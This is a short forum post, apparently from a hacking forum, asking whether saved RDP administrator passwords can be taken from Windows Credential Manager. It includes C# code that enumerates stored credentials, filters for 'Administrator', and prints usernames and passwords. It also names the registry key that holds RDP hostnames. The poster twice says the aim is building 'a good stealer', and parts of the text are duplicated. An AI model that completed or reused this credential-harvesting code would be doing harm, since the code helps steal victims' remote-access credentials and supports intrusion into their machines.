Apr 5, 2024 10:46 AM
(This post was last modified: Apr 5, 2024 10:52 AM by CantPackCuba.)
Just wondering if this is even possible.
using AdysTech.CredentialManager Nuget Package i can retrieve username. Although the 2 values Password and SecurePassword seem to be blank
If this is possible it would make for a good stealer, Values such as ip/hostname could be found via registry :
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
using AdysTech.CredentialManager Nuget Package i can retrieve username. Although the 2 values Password and SecurePassword seem to be blank
Code
static void Main(string[] args)
{
var credentials = CredentialManager.EnumerateCredentials();
foreach (var cred in credentials)
{
if (cred.UserName.Contains("Administrator"))
{
Debug.WriteLine(cred.UserName);
Debug.WriteLine(cred.Password);
Debug.WriteLine(GetSecureStringAsString(cred.SecurePassword));
}
}
Console.ReadLine();
}
static string GetSecureStringAsString(SecureString secureString)
{
if (secureString == null)
return string.Empty;
IntPtr ptr = IntPtr.Zero;
try
{
ptr = System.Runtime.InteropServices.Marshal.SecureStringToGlobalAllocUnicode(secureString);
return System.Runtime.InteropServices.Marshal.PtrToStringUni(ptr);
}
finally
{
System.Runtime.InteropServices.Marshal.ZeroFreeGlobalAllocUnicode(ptr);
}
}If this is possible it would make for a good stealer, Values such as ip/hostname could be found via registry :
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default

